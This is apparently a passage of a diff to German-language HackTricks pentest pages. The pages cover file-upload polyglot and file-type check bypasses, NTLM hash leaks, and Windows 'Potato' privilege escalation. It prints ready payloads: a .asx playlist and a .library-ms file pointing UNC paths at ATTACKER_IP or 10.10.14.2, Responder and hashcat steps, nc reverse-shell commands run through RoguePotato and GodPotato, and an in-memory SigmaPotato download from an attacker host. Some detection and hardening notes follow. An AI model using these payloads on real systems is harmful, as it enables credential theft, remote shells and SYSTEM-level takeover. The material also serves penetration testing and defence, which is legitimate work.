Trotz ihrer Anpassungsfähigkeit stoßen Polyglots auf Einschränkungen. Beispielsweise kann ein Polyglot gleichzeitig eine PHAR-Datei (PHp ARchive) und ein JPEG darstellen; ob der Upload erfolgreich ist, hängt jedoch oft von den Richtlinien der Plattform bezüglich erlaubter Dateiendungen ab. Wenn das System strikt bei den erlaubten Extensions ist, reicht die strukturelle Dualität eines Polyglots möglicherweise nicht aus, um den Upload zu gewährleisten.
|
||||
Trotz ihrer Anpassungsfähigkeit stoßen Polyglots auf Einschränkungen. Beispielsweise kann ein Polyglot sowohl eine PHAR-Datei (PHp ARchive) als auch ein JPEG darstellen; der erfolgreiche Upload kann jedoch von den Richtlinien der Plattform bezüglich Dateiendungen abhängen. Wenn das System strikt auf erlaubte Extensions achtet, reicht die strukturelle Dualität eines Polyglots möglicherweise nicht aus, um den Upload zu garantieren.
|
||||
|
||||
More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
Mehr Informationen in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
### Gültige JSONs hochladen, als wären sie PDF
|
||||
### Gültige JSONs hochladen, als wären sie PDFs
|
||||
|
||||
Wie man Datei-Typ-Erkennungen umgeht, indem man eine gültige JSON-Datei hochlädt, auch wenn dies nicht erlaubt ist, indem man eine PDF-Datei vortäuscht (Techniken aus **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
|
||||
Wie man Dateityp-Erkennungen umgeht, indem man eine gültige JSON-Datei hochlädt, selbst wenn nur PDF erlaubt ist (Techniken aus **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
|
||||
|
||||
- **`mmmagic` library**: Solange die `%PDF` magic bytes in den ersten 1024 Bytes enthalten sind, gilt die Datei als gültig (Beispiel im Beitrag).
|
||||
- **`pdflib` library**: Füge ein gefälschtes PDF-Format innerhalb eines Felds im JSON hinzu, sodass die Library denkt, es sei ein PDF (Beispiel im Beitrag).
|
||||
- **`file` binary**: Es kann bis zu 1048576 Bytes aus einer Datei lesen. Erstelle einfach ein JSON, das größer ist, sodass es den Inhalt nicht als JSON parsen kann, und füge dann im JSON den Anfangsteil einer echten PDF ein — `file` wird denken, es sei ein PDF.
|
||||
- **`mmmagic` library**: Solange die `%PDF` magic bytes in den ersten 1024 Bytes sind, gilt die Datei als gültig (Beispiel im Beitrag).
|
||||
- **`pdflib` library**: Füge ein gefälschtes PDF-Format in ein Feld des JSON ein, sodass die Bibliothek denkt, es sei ein PDF (Beispiel im Beitrag).
|
||||
- **`file` binary**: Es kann bis zu 1048576 Bytes von einer Datei lesen. Erstelle einfach ein JSON, das größer ist als dieser Wert, sodass es den Inhalt nicht als JSON parsen kann, und füge dann innerhalb des JSON den Anfangsteil einer echten PDF ein — es wird denken, es sei ein PDF.
|
||||
|
||||
## References
|
||||
## Referenzen
|
||||
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
|
||||
- [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)
|
||||
@ -405,5 +430,7 @@ Wie man Datei-Typ-Erkennungen umgeht, indem man eine gültige JSON-Datei hochlä
|
||||
- [CVE-2024-21546 – NVD entry](https://nvd.nist.gov/vuln/detail/CVE-2024-21546)
|
||||
- [PoC gist for LFM .php. bypass](https://gist.github.com/ImHades101/338a06816ef97262ba632af9c78b78ca)
|
||||
- [0xdf – HTB Environment (UniSharp LFM upload → PHP RCE)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
|
||||
- [HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM](https://0xdf.gitlab.io/2025/09/04/htb-media.html)
|
||||
- [Microsoft – mklink (command reference)](https://learn.microsoft.com/windows-server/administration/windows-commands/mklink)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,7 +1,66 @@
|
||||
# Orte, um NTLM-Credentials zu stehlen
|
||||
# Orte, um NTLM creds zu stehlen
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
**Überprüfen Sie alle großartigen Ideen von [https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/) vom Herunterladen einer Microsoft Word-Datei online bis zur NTLM-Leckquelle: https://github.com/soufianetahiri/TeamsNTLMLeak/blob/main/README.md und [https://github.com/p0dalirius/windows-coerced-authentication-methods](https://github.com/p0dalirius/windows-coerced-authentication-methods)**
|
||||
**Schau dir alle großartigen Ideen an von [https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/) — vom Herunterladen einer Microsoft Word-Datei online bis zur ntlm leaks-Quelle: https://github.com/soufianetahiri/TeamsNTLMLeak/blob/main/README.md und [https://github.com/p0dalirius/windows-coerced-authentication-methods](https://github.com/p0dalirius/windows-coerced-authentication-methods)**
|
||||
|
||||
|
||||
### Windows Media Player Playlists (.ASX/.WAX)
|
||||
|
||||
Wenn du ein Ziel dazu bringen kannst, eine von dir kontrollierte Windows Media Player-Playlist zu öffnen oder in der Vorschau anzuzeigen, kannst du Net‑NTLMv2 leaken, indem du den Eintrag auf einen UNC-Pfad zeigst. WMP wird versuchen, das referenzierte Medium über SMB abzurufen und sich dabei implizit zu authentifizieren.
|
||||
|
||||
Beispiel payload:
|
||||
```xml
|
||||
<asx version="3.0">
|
||||
<title>Leak</title>
|
||||
<entry>
|
||||
<title></title>
|
||||
<ref href="file://ATTACKER_IP\\share\\track.mp3" />
|
||||
</entry>
|
||||
</asx>
|
||||
```
|
||||
Sammlung und cracking-Ablauf:
|
||||
```bash
|
||||
# Capture the authentication
|
||||
sudo Responder -I <iface>
|
||||
|
||||
# Crack the captured NetNTLMv2
|
||||
hashcat hashes.txt /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
|
||||
```
|
||||
### ZIP-embedded .library-ms NTLM leak (CVE-2025-24071/24055)
|
||||
|
||||
Windows Explorer behandelt .library-ms-Dateien unsicher, wenn sie direkt aus einem ZIP-Archiv geöffnet werden. Wenn die Library-Definition auf einen entfernten UNC-Pfad verweist (z. B. \\attacker\share), führt schon das bloße Durchsuchen/Starten der .library-ms innerhalb des ZIP dazu, dass Explorer den UNC abfragt und NTLM-Authentifizierungsdaten an den Angreifer sendet. Das ergibt ein NetNTLMv2, das offline geknackt oder möglicherweise relayed werden kann.
|
||||
|
||||
Minimale .library-ms, die auf einen Angreifer-UNC zeigt
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
|
||||
<version>6</version>
|
||||
<name>Company Documents</name>
|
||||
<isLibraryPinned>false</isLibraryPinned>
|
||||
<iconReference>shell32.dll,-235</iconReference>
|
||||
<templateInfo>
|
||||
<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
|
||||
</templateInfo>
|
||||
<searchConnectorDescriptionList>
|
||||
<searchConnectorDescription>
|
||||
<simpleLocation>
|
||||
<url>\\10.10.14.2\share</url>
|
||||
</simpleLocation>
|
||||
</searchConnectorDescription>
|
||||
</searchConnectorDescriptionList>
|
||||
</libraryDescription>
|
||||
```
|
||||
Vorgehensweise
|
||||
- Erstelle die .library-ms Datei mit dem obigen XML (setze deine IP/Hostname).
|
||||
- Zippe sie (on Windows: Send to → Compressed (zipped) folder) und liefere die ZIP-Datei an das Ziel.
|
||||
- Starte einen NTLM capture listener und warte, bis das Opfer die .library-ms aus der ZIP öffnet.
|
||||
|
||||
|
||||
## Referenzen
|
||||
- [HTB Fluffy – ZIP .library‑ms auth leak (CVE‑2025‑24071/24055) → GenericWrite → AD CS ESC16 to DA (0xdf)](https://0xdf.gitlab.io/2025/09/20/htb-fluffy.html)
|
||||
- [HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM](https://0xdf.gitlab.io/2025/09/04/htb-media.html)
|
||||
- [Morphisec – 5 NTLM vulnerabilities: Unpatched privilege escalation threats in Microsoft](https://www.morphisec.com/blog/5-ntlm-vulnerabilities-unpatched-privilege-escalation-threats-in-microsoft/)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -3,10 +3,10 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!WARNING]
|
||||
> **JuicyPotato doesn't work** auf Windows Server 2019 und Windows 10 Build 1809 und neuer. Allerdings können [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** verwendet werden, um dieselben Privilegien auszunutzen und Zugriff auf Ebene `NT AUTHORITY\SYSTEM` zu erlangen. This [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) geht ausführlich auf das `PrintSpoofer`-Tool ein, das verwendet werden kann, um Impersonation-Privilegien auf Windows-10- und Server-2019-Hosts auszunutzen, auf denen JuicyPotato nicht mehr funktioniert.
|
||||
> **JuicyPotato funktioniert nicht mehr** unter Windows Server 2019 und Windows 10 Build 1809 und neuer. Allerdings können [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** verwendet werden, um dieselben Privilegien auszunutzen und `NT AUTHORITY\SYSTEM`-Zugriff zu erlangen. Dieser [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) geht ausführlich auf das `PrintSpoofer`-Tool ein, mit dem Impersonation-Privilegien auf Windows 10- und Server-2019-Hosts missbraucht werden können, auf denen JuicyPotato nicht mehr funktioniert.
|
||||
|
||||
> [!TIP]
|
||||
> Eine moderne Alternative, die 2024–2025 häufig gepflegt wird, ist SigmaPotato (ein Fork von GodPotato), das In-Memory-/ .NET-Reflection-Nutzung und erweiterten OS-Support hinzufügt. Siehe schnelle Nutzung unten und das Repo in References.
|
||||
> Eine moderne Alternative, die 2024–2025 häufig gepflegt wird, ist SigmaPotato (ein Fork von GodPotato), das In-Memory/.NET-Reflection-Nutzung und erweiterten OS-Support hinzufügt. Siehe Kurzanleitung unten und das Repo in den Referenzen.
|
||||
|
||||
Related pages for background and manual techniques:
|
||||
|
||||
@ -22,25 +22,26 @@ from-high-integrity-to-system-with-name-pipes.md
|
||||
privilege-escalation-abusing-tokens.md
|
||||
{{#endref}}
|
||||
|
||||
## Requirements and common gotchas
|
||||
## Anforderungen und häufige Fallstricke
|
||||
|
||||
Alle folgenden Techniken beruhen darauf, einen impersonation-fähigen privilegierten Service aus einem Kontext auszunutzen, der eines der folgenden Privilegien besitzt:
|
||||
Alle folgenden Techniken basieren darauf, einen zur Impersonation fähigen privilegierten Dienst aus einem Kontext auszunutzen, der eine der folgenden Privilegien besitzt:
|
||||
|
||||
- SeImpersonatePrivilege (am häufigsten) oder SeAssignPrimaryTokenPrivilege
|
||||
- Hohe Integrität ist nicht erforderlich, wenn das Token bereits SeImpersonatePrivilege besitzt (typisch für viele Service-Accounts wie IIS AppPool, MSSQL, etc.)
|
||||
- Hohe Integrität ist nicht erforderlich, wenn der Token bereits SeImpersonatePrivilege besitzt (typisch für viele Servicekonten wie IIS AppPool, MSSQL, usw.)
|
||||
|
||||
Privilegien schnell prüfen:
|
||||
```cmd
|
||||
whoami /priv | findstr /i impersonate
|
||||
```
|
||||
Operational notes:
|
||||
Betriebliche Hinweise:
|
||||
|
||||
- PrintSpoofer benötigt, dass der Print Spooler-Dienst läuft und über den lokalen RPC-Endpunkt (spoolss) erreichbar ist. In gehärteten Umgebungen, in denen der Spooler nach PrintNightmare deaktiviert wurde, sind RoguePotato/GodPotato/DCOMPotato/EfsPotato zu bevorzugen.
|
||||
- RoguePotato benötigt einen OXID resolver, der über TCP/135 erreichbar ist. Falls egress blockiert ist, verwende einen redirector/port-forwarder (siehe Beispiel unten). Ältere Builds benötigten das -f-Flag.
|
||||
- EfsPotato/SharpEfsPotato missbrauchen MS-EFSR; wenn eine Pipe blockiert ist, probiere alternative Pipes (lsarpc, efsrpc, samr, lsass, netlogon).
|
||||
- Fehler 0x6d3 während RpcBindingSetAuthInfo deutet typischerweise auf einen unbekannten/nicht unterstützten RPC-Authentifizierungsdienst hin; versuche eine andere Pipe/Transport oder stelle sicher, dass der Zielservice läuft.
|
||||
- Wenn Ihre Shell unter einem eingeschränkten Token ohne SeImpersonatePrivilege läuft (üblich für Local Service/Network Service in manchen Kontexten), stellen Sie die Standardprivilegien des Kontos mit FullPowers wieder her und führen dann einen Potato aus. Beispiel: `FullPowers.exe -c "cmd /c whoami /priv" -z`
|
||||
- PrintSpoofer benötigt, dass der Print Spooler-Dienst läuft und über den lokalen RPC-Endpunkt (spoolss) erreichbar ist. In gehärteten Umgebungen, in denen der Spooler nach PrintNightmare deaktiviert wurde, bevorzugen Sie RoguePotato/GodPotato/DCOMPotato/EfsPotato.
|
||||
- RoguePotato benötigt einen OXID-Resolver, der über TCP/135 erreichbar ist. Wenn egress geblockt ist, verwenden Sie einen Redirector/Port-Forwarder (siehe Beispiel unten). Ältere Builds benötigten das -f Flag.
|
||||
- EfsPotato/SharpEfsPotato missbrauchen MS-EFSR; wenn eine Pipe blockiert ist, versuchen Sie alternative Pipes (lsarpc, efsrpc, samr, lsass, netlogon).
|
||||
- Fehler 0x6d3 während RpcBindingSetAuthInfo deutet typischerweise auf einen unbekannten/nicht unterstützten RPC-Authentifizierungsdienst hin; versuchen Sie eine andere Pipe/Transport oder stellen Sie sicher, dass der Zieldienst läuft.
|
||||
|
||||
## Kurze Demo
|
||||
## Schnelle Demo
|
||||
|
||||
### PrintSpoofer
|
||||
```bash
|
||||
@ -58,8 +59,8 @@ NULL
|
||||
|
||||
```
|
||||
Hinweise:
|
||||
- Du kannst -i verwenden, um einen interactive process in der aktuellen Konsole zu starten, oder -c, um einen one-liner auszuführen.
|
||||
- Erfordert den Spooler service. Wenn dieser deaktiviert ist, schlägt das fehl.
|
||||
- Du kannst -i verwenden, um einen interaktiven Prozess in der aktuellen Konsole zu starten, oder -c, um einen One-Liner auszuführen.
|
||||
- Benötigt den Spooler-Dienst. Wenn dieser deaktiviert ist, wird dies fehlschlagen.
|
||||
|
||||
### RoguePotato
|
||||
```bash
|
||||
@ -67,7 +68,7 @@ c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -l
|
||||
# In some old versions you need to use the "-f" param
|
||||
c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -f 9999
|
||||
```
|
||||
Wenn outbound 135 blockiert ist, pivot den OXID resolver via socat auf deinem redirector:
|
||||
Wenn ausgehender Port 135 blockiert ist, pivot den OXID resolver via socat auf deinem redirector:
|
||||
```bash
|
||||
# On attacker redirector (must listen on TCP/135 and forward to victim:9999)
|
||||
socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999
|
||||
@ -111,7 +112,7 @@ CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes su
|
||||
|
||||
nt authority\system
|
||||
```
|
||||
Tipp: Wenn eine Pipe fehlschlägt oder EDR sie blockiert, versuche die anderen unterstützten Pipes:
|
||||
Tipp: Wenn eine pipe fehlschlägt oder EDR sie blockiert, versuche die anderen unterstützten pipes:
|
||||
```text
|
||||
EfsPotato <cmd> [pipe]
|
||||
pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc)
|
||||
@ -123,13 +124,13 @@ pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc)
|
||||
> GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012"
|
||||
```
|
||||
Hinweise:
|
||||
- Funktioniert unter Windows 8/8.1–11 und Server 2012–2022, sofern SeImpersonatePrivilege vorhanden ist.
|
||||
- Funktioniert unter Windows 8/8.1–11 und Server 2012–2022, wenn SeImpersonatePrivilege vorhanden ist.
|
||||
|
||||
### DCOMPotato
|
||||
|
||||

|
||||
|
||||
DCOMPotato bietet zwei Varianten, die auf Service-DCOM-Objekte abzielen, welche standardmäßig auf RPC_C_IMP_LEVEL_IMPERSONATE stehen. Kompiliere oder benutze die bereitgestellten binaries und führe deinen Befehl aus:
|
||||
DCOMPotato bietet zwei Varianten, die Service-DCOM-Objekte angreifen, die standardmäßig auf RPC_C_IMP_LEVEL_IMPERSONATE eingestellt sind. Kompilieren Sie die bereitgestellten binaries oder verwenden Sie sie und führen Sie Ihren Befehl aus:
|
||||
```cmd
|
||||
# PrinterNotify variant
|
||||
PrinterNotifyPotato.exe "cmd /c whoami"
|
||||
@ -137,9 +138,9 @@ PrinterNotifyPotato.exe "cmd /c whoami"
|
||||
# McpManagementService variant (Server 2022 also)
|
||||
McpManagementPotato.exe "cmd /c whoami"
|
||||
```
|
||||
### SigmaPotato (aktualisierter GodPotato fork)
|
||||
### SigmaPotato (aktualisierter GodPotato-Fork)
|
||||
|
||||
SigmaPotato bringt moderne Verbesserungen mit, wie in-memory execution via .NET reflection und einen PowerShell reverse shell helper.
|
||||
SigmaPotato fügt moderne Annehmlichkeiten hinzu, wie In-Memory-Ausführung über .NET reflection und ein PowerShell reverse shell Hilfsprogramm.
|
||||
```powershell
|
||||
# Load and execute from memory (no disk touch)
|
||||
[System.Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData("http://ATTACKER_IP/SigmaPotato.exe"))
|
||||
@ -150,11 +151,11 @@ SigmaPotato bringt moderne Verbesserungen mit, wie in-memory execution via .NET
|
||||
```
|
||||
## Erkennungs- und Härtungshinweise
|
||||
|
||||
- Überwachen Sie Prozesse, die named pipes erstellen und unmittelbar token-duplication APIs aufrufen, gefolgt von CreateProcessAsUser/CreateProcessWithTokenW. Sysmon kann nützliche Telemetrie liefern: Event ID 1 (process creation), 17/18 (named pipe created/connected) und Befehlszeilen, die Kindprozesse als SYSTEM starten.
|
||||
- Spooler-Härtung: Das Deaktivieren des Print Spooler service auf Servern, auf denen er nicht benötigt wird, verhindert PrintSpoofer-ähnliche lokale Ausnutzungen via spoolss.
|
||||
- Härtung von Service-Accounts: Minimieren Sie die Zuweisung von SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege an benutzerdefinierte Dienste. Ziehen Sie in Betracht, Dienste unter virtual accounts mit den geringst erforderlichen Rechten auszuführen und sie, wenn möglich, mit service SID und write-restricted tokens zu isolieren.
|
||||
- Netzwerk-Kontrollen: Das Blockieren ausgehender TCP/135-Verbindungen oder das Einschränken von RPC endpoint mapper traffic kann RoguePotato unterbrechen, sofern kein interner redirector verfügbar ist.
|
||||
- EDR/AV: All of these tools are widely signatured. Recompiling from source, renaming symbols/strings, or using in-memory execution can reduce detection but won’t defeat solid behavioral detections.
|
||||
- Überwachen Sie Prozesse, die named pipes erstellen und sofort token-duplication APIs aufrufen, gefolgt von CreateProcessAsUser/CreateProcessWithTokenW. Sysmon kann nützliche Telemetrie liefern: Event ID 1 (process creation), 17/18 (named pipe created/connected) und Kommandozeilen, die Kindprozesse als SYSTEM starten.
|
||||
- Spooler-Härtung: Das Deaktivieren des Print Spooler service auf Servern, auf denen er nicht benötigt wird, verhindert lokale PrintSpoofer-ähnliche Privilegienausnutzungen über spoolss.
|
||||
- Service account Härtung: Minimieren Sie die Zuweisung von SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege an benutzerdefinierte Dienste. Ziehen Sie in Betracht, Dienste unter virtuellen Konten mit den geringstmöglichen Rechten auszuführen und sie, wenn möglich, mit service SID und write-restricted tokens zu isolieren.
|
||||
- Netzwerk-Kontrollen: Das Blockieren ausgehender TCP/135-Verbindungen oder das Einschränken von RPC endpoint mapper traffic kann RoguePotato unterbrechen, sofern kein internal redirector verfügbar ist.
|
||||
- EDR/AV: All of these tools are widely signatured. Das Neukompilieren aus dem Quellcode, Umbenennen von Symbolen/Strings oder die in-memory Ausführung kann die Erkennung reduzieren, wird aber robuste verhaltensbasierte Erkennungen nicht umgehen.
|
||||
|
||||
## References
|
||||
|
||||
@ -167,5 +168,7 @@ SigmaPotato bringt moderne Verbesserungen mit, wie in-memory execution via .NET
|
||||
- [https://github.com/zcgonvh/DCOMPotato](https://github.com/zcgonvh/DCOMPotato)
|
||||
- [https://github.com/tylerdotrar/SigmaPotato](https://github.com/tylerdotrar/SigmaPotato)
|
||||
- [https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/](https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/)
|
||||
- [FullPowers – Restore default token privileges for service accounts](https://github.com/itm4n/FullPowers)
|
||||
- [HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM](https://0xdf.gitlab.io/2025/09/04/htb-media.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user